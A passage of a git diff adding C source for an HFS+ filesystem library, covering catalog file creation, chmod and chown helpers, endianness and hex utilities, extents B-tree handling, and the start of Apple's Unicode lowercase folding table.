if(lastSeparator == NULL) { + parentFolder = (HFSPlusCatalogFolder*) getRecordFromPath("/", volume, NULL, NULL); + name = path; + } else { + name = lastSeparator + 1; + *lastSeparator = '\0'; + parentFolder = (HFSPlusCatalogFolder*) getRecordFromPath(path, volume, NULL, NULL); + } + + if(parentFolder == NULL || parentFolder->recordType != kHFSPlusFolderRecord) { + free(path); + free(parentFolder); + return FALSE; + } + + newFileID = volume->volumeHeader->nextCatalogID++; + volume->volumeHeader->fileCount++; + + file.recordType = kHFSPlusFileRecord; + file.flags = kHFSThreadExistsMask; + file.reserved1 = 0; + file.fileID = newFileID; + file.createDate = UNIX_TO_APPLE_TIME(time(NULL)); + file.contentModDate = file.createDate; + file.attributeModDate = file.createDate; + file.accessDate = file.createDate; + file.backupDate = file.createDate; + file.permissions.ownerID = parentFolder->permissions.ownerID; + file.permissions.groupID = parentFolder->permissions.groupID; + file.permissions.adminFlags = 0; + file.permissions.ownerFlags = 0; + file.permissions.fileMode = S_IFREG | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH; + file.permissions.special.iNodeNum = 0; + memset(&file.userInfo, 0, sizeof(file.userInfo)); + memset(&file.finderInfo, 0, sizeof(file.finderInfo)); + file.textEncoding = 0; + file.reserved2 = 0; + memset(&file.dataFork, 0, sizeof(file.dataFork)); + memset(&file.resourceFork, 0, sizeof(file.resourceFork)); + + key.parentID = parentFolder->folderID; + ASCIIToUnicode(name, &key.nodeName); + key.keyLength = sizeof(key.parentID) + STR_SIZE(key.nodeName); + + thread.recordType = kHFSPlusFileThreadRecord; + thread.reserved = 0; + thread.parentID = parentFolder->folderID; + ASCIIToUnicode(name, &thread.nodeName); + threadLength = sizeof(thread.recordType) + sizeof(thread.reserved) + sizeof(thread.parentID) + STR_SIZE(thread.nodeName); + flipCatalogThread(&thread, TRUE); + flipCatalogFile(&file); + + ASSERT(addToBTree(volume->catalogTree, (BTKey*)(&key), sizeof(HFSPlusCatalogFile), (unsigned char *)(&file)), "addToBTree"); + key.nodeName.length = 0; + key.parentID = newFileID; + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + ASSERT(addToBTree(volume->catalogTree, (BTKey*)(&key), threadLength, (unsigned char *)(&thread)), "addToBTree"); + + parentFolder->valence++; + updateCatalog(volume, (HFSPlusCatalogRecord*) parentFolder); + + updateVolume(volume); + + free(parentFolder); + free(path); + + return newFileID; +} + +int chmodFile(const char* pathName, int mode, Volume* volume) { + HFSPlusCatalogRecord* record; + + record = getRecordFromPath(pathName, volume, NULL, NULL); + + if(record == NULL) { + return FALSE; + } + + if(record->recordType == kHFSPlusFolderRecord) { + ((HFSPlusCatalogFolder*)record)->permissions.fileMode = (((HFSPlusCatalogFolder*)record)->permissions.fileMode & 0770000) | mode; + } else if(record->recordType == kHFSPlusFileRecord) { + ((HFSPlusCatalogFile*)record)->permissions.fileMode = (((HFSPlusCatalogFolder*)record)->permissions.fileMode & 0770000) | mode; + } else { + return FALSE; + } + + updateCatalog(volume, record); + + free(record); + + return TRUE; +} + +int chownFile(const char* pathName, uint32_t owner, uint32_t group, Volume* volume) { + HFSPlusCatalogRecord* record; + + record = getRecordFromPath(pathName, volume, NULL, NULL); + + if(record == NULL) { + return FALSE; + } + + if(record->recordType == kHFSPlusFolderRecord) { + ((HFSPlusCatalogFolder*)record)->permissions.ownerID = owner; + ((HFSPlusCatalogFolder*)record)->permissions.groupID = group; + } else if(record->recordType == kHFSPlusFileRecord) { + ((HFSPlusCatalogFile*)record)->permissions.ownerID = owner; + ((HFSPlusCatalogFile*)record)->permissions.groupID = group; + } else { + return FALSE; + } + + updateCatalog(volume, record); + + free(record); + + return TRUE; +} + + +BTree* openCatalogTree(io_func* file) { + BTree* btree; + + btree = openBTree(file, &catalogCompare, &catalogKeyRead, &catalogKeyWrite, &catalogKeyPrint, &catalogDataRead); + + if(btree->headerRec->keyCompareType == kHFSCaseFolding) { + btree->compare = &catalogCompareCS; + } + + return btree; +} + diff --git a/hfs/common.h b/hfs/common.h new file mode 100644 index 0000000..00a4a6e --- /dev/null +++ b/hfs/common.h @@ -0,0 +1,102 @@ +#ifndef COMMON_H +#define COMMON_H + +#include +#include +#include +#include +#include + +#ifdef WIN32 +#define fseeko fseeko64 +#define ftello ftello64 +#define off_t off64_t +#define mkdir(x, y) mkdir(x) +#define PATH_SEPARATOR "\\" +#else +#define PATH_SEPARATOR "/" +#endif + +#define TRUE 1 +#define FALSE 0 + +#define FLIPENDIAN(x) flipEndian((unsigned char *)(&(x)), sizeof(x)) +#define FLIPENDIANLE(x) flipEndianLE((unsigned char *)(&(x)), sizeof(x)) + +#define IS_BIG_ENDIAN 0 +#define IS_LITTLE_ENDIAN 1 + +#define TIME_OFFSET_FROM_UNIX 2082844800L +#define APPLE_TO_UNIX_TIME(x) ((x) - TIME_OFFSET_FROM_UNIX) +#define UNIX_TO_APPLE_TIME(x) ((x) + TIME_OFFSET_FROM_UNIX) + +#define ASSERT(x, m) if(!(x)) { fflush(stdout); fprintf(stderr, "error: %s\n", m); perror("error"); fflush(stderr); exit(1); } + +#define endianness IS_LITTLE_ENDIAN + +static inline void flipEndian(unsigned char* x, int length) { + int i; + unsigned char tmp; + + if(endianness == IS_BIG_ENDIAN) { + return; + } else { + for(i = 0; i < (length / 2); i++) { + tmp = x[i]; + x[i] = x[length - i - 1]; + x[length - i - 1] = tmp; + } + } +} + +static inline void flipEndianLE(unsigned char* x, int length) { + int i; + unsigned char tmp; + + if(endianness == IS_LITTLE_ENDIAN) { + return; + } else { + for(i = 0; i < (length / 2); i++) { + tmp = x[i]; + x[i] = x[length - i - 1]; + x[length - i - 1] = tmp; + } + } +} + +static inline void hexToBytes(const char* hex, uint8_t** buffer, size_t* bytes) { + *bytes = strlen(hex) / 2; + *buffer = (uint8_t*) malloc(*bytes); + size_t i; + for(i = 0; i < *bytes; i++) { + uint32_t byte; + sscanf(hex, "%2x", &byte); + (*buffer)[i] = byte; + hex += 2; + } +} + +static inline void hexToInts(const char* hex, unsigned int** buffer, size_t* bytes) { + *bytes = strlen(hex) / 2; + *buffer = (unsigned int*) malloc((*bytes) * sizeof(int)); + size_t i; + for(i = 0; i < *bytes; i++) { + sscanf(hex, "%2x", &((*buffer)[i])); + hex += 2; + } +} + +struct io_func_struct; + +typedef int (*readFunc)(struct io_func_struct* io, off_t location, size_t size, void *buffer); +typedef int (*writeFunc)(struct io_func_struct* io, off_t location, size_t size, void *buffer); +typedef void (*closeFunc)(struct io_func_struct* io); + +typedef struct io_func_struct { + void* data; + readFunc read; + writeFunc write; + closeFunc close; +} io_func; + +#endif diff --git a/hfs/extents.c b/hfs/extents.c new file mode 100644 index 0000000..c87bfd9 --- /dev/null +++ b/hfs/extents.c @@ -0,0 +1,119 @@ +#include +#include +#include "hfsplus.h" + +static inline void flipExtentDescriptor(HFSPlusExtentDescriptor* extentDescriptor) { + FLIPENDIAN(extentDescriptor->startBlock); + FLIPENDIAN(extentDescriptor->blockCount); +} + +void flipExtentRecord(HFSPlusExtentRecord* extentRecord) { + HFSPlusExtentDescriptor *extentDescriptor; + extentDescriptor = (HFSPlusExtentDescriptor*)extentRecord; + + flipExtentDescriptor(&extentDescriptor[0]); + flipExtentDescriptor(&extentDescriptor[1]); + flipExtentDescriptor(&extentDescriptor[2]); + flipExtentDescriptor(&extentDescriptor[3]); + flipExtentDescriptor(&extentDescriptor[4]); + flipExtentDescriptor(&extentDescriptor[5]); + flipExtentDescriptor(&extentDescriptor[6]); + flipExtentDescriptor(&extentDescriptor[7]); +} + +static int extentCompare(BTKey* vLeft, BTKey* vRight) { + HFSPlusExtentKey* left; + HFSPlusExtentKey* right; + + left = (HFSPlusExtentKey*) vLeft; + right =(HFSPlusExtentKey*) vRight; + + if(left->forkType < right->forkType) { + return -1; + } else if(left->forkType > right->forkType) { + return 1; + } else { + if(left->fileID < right->fileID) { + return -1; + } else if(left->fileID > right->fileID) { + return 1; + } else { + if(left->startBlock < right->startBlock) { + return -1; + } else if(left->startBlock > right->startBlock) { + return 1; + } else { + /* do a safety check on key length. Otherwise, bad things may happen later on when we try to add or remove with this key */ + if(left->keyLength == right->keyLength) { + return 0; + } else if(left->keyLength < right->keyLength) { + return -1; + } else { + return 1; + } + return 0; + } + } + } +} + +static BTKey* extentKeyRead(off_t offset, io_func* io) { + HFSPlusExtentKey* key; + + key = (HFSPlusExtentKey*) malloc(sizeof(HFSPlusExtentKey)); + + if(!READ(io, offset, sizeof(HFSPlusExtentKey), key)) + return NULL; + + FLIPENDIAN(key->keyLength); + FLIPENDIAN(key->forkType); + FLIPENDIAN(key->fileID); + FLIPENDIAN(key->startBlock); + + return (BTKey*)key; +} + +static int extentKeyWrite(off_t offset, BTKey* toWrite, io_func* io) { + HFSPlusExtentKey* key; + + key = (HFSPlusExtentKey*) malloc(sizeof(HFSPlusExtentKey)); + + memcpy(key, toWrite, sizeof(HFSPlusExtentKey)); + + FLIPENDIAN(key->keyLength); + FLIPENDIAN(key->forkType); + FLIPENDIAN(key->fileID); + FLIPENDIAN(key->startBlock); + + if(!WRITE(io, offset, sizeof(HFSPlusExtentKey), key)) + return FALSE; + + free(key); + + return TRUE; +} + +static void extentKeyPrint(BTKey* toPrint) { + HFSPlusExtentKey* key; + + key = (HFSPlusExtentKey*)toPrint; + + printf("extent%d:%d:%d", key->forkType, key->fileID, key->startBlock); +} + +static BTKey* extentDataRead(off_t offset, io_func* io) { + HFSPlusExtentRecord* record; + + record = (HFSPlusExtentRecord*) malloc(sizeof(HFSPlusExtentRecord)); + + if(!READ(io, offset, sizeof(HFSPlusExtentRecord), record)) + return NULL; + + flipExtentRecord(record); + + return (BTKey*)record; +} + +BTree* openExtentsTree(io_func* file) { + return openBTree(file, &extentCompare, &extentKeyRead, &extentKeyWrite, &extentKeyPrint, &extentDataRead); +} diff --git a/hfs/fastunicodecompare.c b/hfs/fastunicodecompare.c new file mode 100644 index 0000000..ea0a01f --- /dev/null +++ b/hfs/fastunicodecompare.c @@ -0,0 +1,418 @@ +#include +#include "hfsplus.h" + +/* This routine is taken from Apple's TN 1150, with adaptations for C */ + +/* The lower case table consists of a 256-entry high-byte table followed by + some number of 256-entry subtables. The high-byte table contains either an + offset to the subtable for characters with that high byte or zero, which + means that there are no case mappings or ignored characters in that block. + Ignored characters are mapped to zero. + */ + +uint16_t gLowerCaseTable[] = { + + /* 0 */ 0x0100, 0x0200, 0x0000, 0x0300, 0x0400, 0x0500, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 1 */ 0x0600, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 2 */ 0x0700, 0x0800, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 3 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 4 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 5 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 6 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 7 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 8 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 9 */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* A */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* B */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* C */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* D */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* E */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* F */ 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0900, 0x0A00, + + /* 0 */ 0xFFFF, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x0007, + 0x0008, 0x0009, 0x000A, 0x000B, 0x000C, 0x000D, 0x000E, 0x000F, + /* 1 */ 0x0010, 0x0011, 0x0012, 0x0013, 0x0014, 0x0015, 0x0016, 0x0017, + 0x0018, 0x0019, 0x001A, 0x001B, 0x001C, 0x001D, 0x001E, 0x001F, + /* 2 */ 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x0027, + 0x0028, 0x0029, 0x002A, 0x002B, 0x002C, 0x002D, 0x002E, 0x002F, + /* 3 */ 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, + 0x0038, 0x0039, 0x003A, 0x003B, 0x003C, 0x003D, 0x003E, 0x003F, + /* 4 */ 0x0040, 0x0061, 0x0062, 0x0063, 0x0064, 0x0065, 0x0066, 0x0067, + 0x0068, 0x0069, 0x006A, 0x006B, 0x006C, 0x006D, 0x006E, 0x006F, + /* 5 */ 0x0070, 0x0071, 0x0072, 0x0073, 0x0074, 0x0075, 0x0076, 0x0077, + 0x0078, 0x0079, 0x007A, 0x005B, 0x005C, 0x005D, 0x005E, 0x005F, + /* 6 */ 0x0060, 0x0061, 0x0062, 0x0063, 0x0064, 0x0065, 0x0066, 0x0067, + 0x0068, 0x0069, 0x006A, 0x006B, 0x006C, 0x006D, 0x006E, 0x006F, + /* 7 */ 0x0070, 0x0071, 0x0072, 0x0073, 0x0074, 0x0075, 0x0076, 0x0077, + 0x0078, 0x0079, 0x007A, 0x007B, 0x007C, 0x007D, 0x007E, 0x007F, + /* 8 */ 0x0080, 0x0081, 0x0082, 0x0083, 0x0084, 0x0085, 0x0086, 0x0087, + 0x0088, 0x0089, 0x008A, 0x008B, 0x008C, 0x008D, 0x008E, 0x008F, + /* 9 */ 0x0090, 0x0091, 0x0092, 0x0093, 0x0094, 0x0095, 0x0096, 0x0097, + 0x0098, 0x0099, 0x009A, 0x009B, 0x009C, 0x009D, 0x009E, 0x009F, + /* A */ 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + /* B */ 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + /* C */ 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00E6, 0x00C7, + 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, + /* D */ 0x00F0, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, + 0x00F8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x00DD, 0x00FE, 0x00DF, + /* E */ 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, + 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, + /* F */ 0x00F0, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, + 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x00FD, 0x00FE, 0x00FF, + + /* 0 */ 0x0100, 0x0101, 0x0102, 0x0103, 0x0104, 0x0105, 0x0106, 0x0107, + 0x0108, 0x0109, 0x010A, 0x010B, 0x010C, 0x010D, 0x010E, 0x010F, + /* 1 */ 0x0111, 0x0111, 0x0112, 0x0113, 0x0114, 0x0115, 0x0116, 0x0117, + 0x0118, 0x0119, 0x011A, 0x011B, 0x011C, 0x011D, 0x011E, 0x011F, + /* 2 */ 0x0120, 0x0121, 0x0122, 0x0123, 0x0124, 0x0125, 0x0127, 0x0127, + 0x0128, 0x0129, 0x012A, 0x012B, 0x012C, 0x012D, 0x012E, 0x012F, + /* 3 */ 0x0130, 0x0131, 0x0133, 0x0133, 0x0134, 0x0135, 0x0136, 0x0137, + 0x0138, 0x0139, 0x013A, 0x013B, 0x013C, 0x013D, 0x013E, 0x0140, + /* 4 */ 0x0140, 0x0142, 0x0142, 0x0143, 0x0144, 0x0145, 0x0146, 0x0147, + 0x0148, 0x0149, 0x014B, 0x014B, 0x014C, 0x014D, 0x014E, 0x014F, + /* 5 */ 0x0150, 0x0151, 0x0153, 0x0153, 0x0154, 0x0155, 0x0156, 0x0157, + 0x0158, 0x0159, 0x015A, 0x015B, 0x015C, 0x015D, 0x015E, 0x015F, + /* 6 */ 0x0160, 0x0161, 0x0162, 0x0163, 0x0164, 0x0165, 0x0167, 0x0167, + 0x0168, 0x0169, 0x016A, 0x016B, 0x016C, 0x016D, 0x016E, 0x016F, + /* 7 */ 0x0170, 0x0171, 0x0172, 0x0173, 0x0174, 0x0175, 0x0176, 0x0177, + 0x0178, 0x0179, 0x017A, 0x017B, 0x017C, 0x017D, 0x017E, 0x017F, + /* 8 */ 0x0180, 0x0253, 0x0183, 0x0183, 0x0185, 0x0185, 0x0254, 0x0188, + 0x0188, 0x0256, 0x0257, 0x018C, 0x018C, 0x018D, 0x01DD, 0x0259, + /* 9 */ 0x025B, 0x0192, 0x0192, 0x0260, 0x0263, 0x0195, 0x0269, 0x0268, + 0x0199, 0x0199, 0x019A, 0x019B, 0x026F, 0x0272, 0x019E, 0x0275, + /* A */ 0x01A0, 0x01A1, 0x01A3, 0x01A3, 0x01A5, 0x01A5, 0x01A6, 0x01A8, + 0x01A8, 0x0283, 0x01AA, 0x01AB, 0x01AD, 0x01AD, 0x0288, 0x01AF, + /* B */ 0x01B0, 0x028A, 0x028B, 0x01B4, 0x01B4, 0x01B6, 0x01B6, 0x0292, + 0x01B9, 0x01B9, 0x01BA, 0x01BB, 0x01BD, 0x01BD, 0x01BE, 0x01BF, + /* C */ 0x01C0, 0x01C1, 0x01C2, 0x01C3, 0x01C6, 0x01C6, 0x01C6, 0x01C9, + 0x01C9, 0x01C9, 0x01CC, 0x01CC, 0x01CC, 0x01CD, 0x01CE, 0x01CF, + /* D */ 0x01D0, 0x01D1, 0x01D2, 0x01D3, 0x01D4, 0x01D5, 0x01D6, 0x01D7, + 0x01D8, 0x01D9, 0x01DA, 0x01DB, 0x01DC, 0x01DD, 0x01DE, 0x01DF, + /* E */ 0x01E0, 0x01E1, 0x01E2, 0x01E3, 0x01E5, 0x01E5, 0x01E6, 0x01E7, + 0x01E8, 0x01E9, 0x01EA, 0x01EB, 0x01EC, 0x01ED, 0x01EE, 0x01EF, + /* F */ 0x01F0, 0x01F3, 0x01F3, 0x01F3, 0x01F4, 0x01F5, 0x01F6, 0x01F7, + 0x01F8, 0x01F9, 0x01FA, 0x01FB, 0x01FC, 0x01FD, 0x01FE, 0x01FF, + + /* 0 */ 0x0300, 0x0301, 0x0302, 0x0303, 0x0304, 0x0305, 0x0306, 0x0307, + 0x0308, 0x0309, 0x030A, 0x030B, 0x030C, 0x030D, 0x030E, 0x030F, + /* 1 */ 0x0310, 0x0311, 0x0312, 0x0313, 0x0314, 0x0315, 0x0316, 0x0317, + 0x0318, 0x0319, 0x031A, 0x031B, 0x031C, 0x031D, 0x031E, 0x031F, + /* 2 */ 0x0320, 0x0321, 0x0322, 0x0323, 0x0324, 0x0325, 0x0326, 0x0327, + 0x0328, 0x0329, 0x032A, 0x032B, 0x032C, 0x032D, 0x032E, 0x032F, + /* 3 */ 0x0330, 0x0331, 0x0332, 0x0333, 0x0334, 0x0335, 0x0336, 0x0337, + 0x0338, 0x0339, 0x033A, 0x033B, 0x033C, 0x033D, 0x033E, 0x033F, + /* 4 */ 0x0340, 0x0341, 0x0342, 0x0343, 0x0344, 0x0345, 0x0346, 0x0347, + 0x0348, 0x0349, 0x034A, 0x034B, 0x034C, 0x034D, 0x034E, 0x034F, + /* 5 */ 0x0350, 0x0351, 0x0352, 0x0353, 0x0354, 0x0355, 0x0356, 0x0357, + 0x0358, 0x0359, 0x035A, 0x035B, 0x035C, 0x035D, 0x035E, 0x035F, + /* 6 */ 0x0360, 0x0361, 0x0362, 0x0363, 0x0364, 0x0365, 0x0366, 0x0367, + 0x0368, 0x0369, 0x036A, 0x036B, 0x036C, 0x036D, 0x036E, 0x036F, + /* 7 */ 0x0370, 0x0371, 0x0372, 0x0373, 0x0374, 0x0375, 0x0376, 0x0377, + 0x0378, 0x0379, 0x037A, 0x037B, 0x037C, 0x037D, 0x037E, 0x037F, + /* 8 */ 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0386, 0x0387, + 0x0388, 0x0389, 0x038A, 0x038B, 0x038C, 0x038D, 0x038E, 0x038F, + /* 9 */ 0x0390, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, + 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, + /* A */ 0x03C0, 0x03C1, 0x03A2, 0x03C3, 0x03C4, 0x03C5, 0x03C6, 0x03C7, + 0x03C8, 0x03C9, 0x03AA, 0x03AB, 0x03AC, 0x03AD, 0x03AE, 0x03AF, + /* B */ 0x03B0, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, + 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, + /* C */ 0x03C0, 0x03C1, 0x03C2, 0x03C3, 0x03C4, 0x03C5, 0x03C6, 0x03C7, + 0x03C8, 0x03C9, 0x03CA, 0x03CB, 0x03CC, 0x03CD, 0x03CE, 0x03CF, + /* D */ 0x03D0, 0x03D1, 0x03D2, 0x03D3, 0x03D4, 0x03D5, 0x03D6, 0x03D7, + 0x03D8, 0x03D9, 0x03DA, 0x03DB, 0x03DC, 0x03DD, 0x03DE, 0x03DF, + /* E */ 0x03E0, 0x03E1, 0x03E3, 0x03E3, 0x03E5, 0x03E5, 0x03E7, 0x03E7, + 0x03E9, 0x03E9, 0x03EB, 0x03EB, 0x03ED, 0x03ED, 0x03EF, 0x03EF, + /* F */ 0x03F0, 0x03F1, 0x03F2, 0x03F3, 0x03F4, 0x03F5, 0x03F6, 0x03F7, + 0x03F8, 0x03F9, 0x03FA, 0x03FB, 0x03FC, 0x03FD, 0x03FE, 0x03FF, + + /* 0 */ 0x0400, 0x0401, 0x0452, 0x0403, 0x0454, 0x0455, 0x0456, 0x0407, + 0x0458, 0x0459, 0x045A, 0x045B, 0x040C, 0x040D, 0x040E, 0x045F, + /* 1 */ 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, + 0x0438, 0x0419, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, + /* 2 */ 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, + 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, + /* 3 */ 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, + 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, + /* 4 */ 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, + 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, + /* 5 */ 0x0450, 0x0451, 0x0452, 0x0453, 0x0454, 0x0455, 0x0456, 0x0457, + 0x0458, 0x0459, 0x045A, 0x045B, 0x045C, 0x045D, 0x045E, 0x045F, + /* 6 */ 0x0461, 0x0461, 0x0463, 0x0463, 0x0465, 0x0465, 0x0467, 0x0467, + 0x0469, 0x0469, 0x046B, 0x046B, 0x046D, 0x046D, 0x046F, 0x046F, + /* 7 */ 0x0471, 0x0471, 0x0473, 0x0473, 0x0475, 0x0475, 0x0476, 0x0477, + 0x0479, 0x0479, 0x047B, 0x047B, 0x047D, 0x047D, 0x047F, 0x047F, + /* 8 */ 0x0481, 0x0481, 0x0482, 0x0483, 0x0484, 0x0485, 0x0486, 0x0487, + 0x0488, 0x0489, 0x048A, 0x048B, 0x048C, 0x048D, 0x048E, 0x048F, + /* 9 */ 0x0491, 0x0491, 0x0493, 0x0493, 0x0495, 0x0495, 0x0497, 0x0497, + 0x0499, 0x0499, 0x049B, 0x049B, 0x049D, 0x049D, 0x049F, 0x049F, + /* A */ 0x04A1, 0x04A1, 0x04A3, 0x04A3, 0x04A5, 0x04A5, 0x04A7, 0x04A7, + 0x04A9, 0x04A9, 0x04AB, 0x04AB, 0x04AD, 0x04AD, 0x04AF, 0x04AF, + /* B */ 0x04B1, 0x04B1, 0x04B3, 0x04B3, 0x04B5, 0x04B5, 0x04B7, 0x04B7, + 0x04B9, 0x04B9, 0x04BB, 0x04BB, 0x04BD, 0x04BD, 0x04BF, 0x04BF, + /* C */ 0x04C0, 0x04C1, 0x04C2, 0x04C4, 0x04C4, 0x04C5, 0x04C6, 0x04C8, + 0x04C8, 0x04C9, 0x04CA, 0x04CC, 0x04CC, 0x04CD, 0x04CE, 0x04CF, + /* D */ 0x04D0, 0x04D1, 0x04D2, 0x04D3, 0x04D4, 0x04D5, 0x04D6, 0x04D7, + 0x04D8, 0x04D9, 0x04DA, 0x04DB, 0x04DC, 0x04DD, 0x04DE, 0x04DF, + /* E */ 0x04E0, 0x04E1, 0x04E2, 0x04E3, 0x04E4, 0x04E5, 0x04E6, 0x04E7, + 0x04E8, 0x04E9, 0x04EA, 0x04EB, 0x04EC, 0x04ED, 0x04EE, 0x04EF, + /* F */ 0x04F0, 0x04F1, 0x04F2, 0x04F3, 0x04F4, 0x04F5, 0x04F6, 0x04F7, + 0x04F8, 0x04F9, 0x04FA, 0x04FB, 0x04FC, 0x04FD, 0x04FE, 0x04FF, + + /* 0 */ 0x0500, 0x0501, 0x0502, 0x0503, 0x0504, 0x0505, 0x0506, 0x0507, + 0x0508, 0x0509, 0x050A, 0x050B, 0x050C, 0x050D, 0x050E, 0x050F, + /* 1 */ 0x0510, 0x0511, 0x0512, 0x0513, 0x0514, 0x0515, 0x0516, 0x0517, + 0x0518, 0x0519, 0x051A, 0x051B, 0x051C, 0x051D, 0x051E, 0x051F, + /* 2 */ 0x0520, 0x0521, 0x0522, 0x0523, 0x0524, 0x0525, 0x0526, 0x0527, + 0x0528, 0x0529, 0x052A, 0x052B, 0x052C, 0x052D, 0x052E, 0x052F, + /* 3 */ 0x0530, 0x0561, 0x0562, 0x0563, 0x0564, 0x0565, 0x0566, 0x0567, + 0x0568, 0x0569, 0x056A, 0x056B, 0x056C, 0x056D, 0x056E, 0x056F, + /* 4 */ 0x0570, 0x0571, 0x0572, 0x0573, 0x0574, 0x0575, 0x0576, 0x0577, + 0x0578, 0x0579, 0x057A, 0x057B, 0x057C, 0x057D, 0x057E, 0x057F, + /* 5 */ 0x0580, 0x0581, 0x0582, 0x0583, 0x0584, 0x0585, 0x0586, 0x0557, + 0x0558, 0x0559, 0x055A, 0x055B, 0x055C, 0x055D, 0x055E, 0x055F, + /* 6 */ 0x0560, 0x0561, 0x0562, 0x0563, 0x0564, 0x0565, 0x0566, 0x0567, + 0x0568, 0x0569, 0x056A, 0x056B, 0x056C, 0x056D, 0x056E, 0x056F, + /* 7 */ 0x0570, 0x0571, 0x0572, 0x0573, 0x0574, 0x0575, 0x0576, 0x0577, + 0x0578, 0x0579, 0x057A, 0x057B, 0x057C, 0x057D, 0x057E, 0x057F, + /* 8 */ 0x0580, 0x0581, 0x0582, 0x0583, 0x0584, 0x0585, 0x0586, 0x0587, + 0x0588, 0x0589, 0x058A, 0x058B, 0x058C, 0x058D, 0x058E, 0x058F, + /* 9 */ 0x0590, 0x0591, 0x0592, 0x0593, 0x0594, 0x0595, 0x0596, 0x0597, + 0x0598, 0x0599, 0x059A, 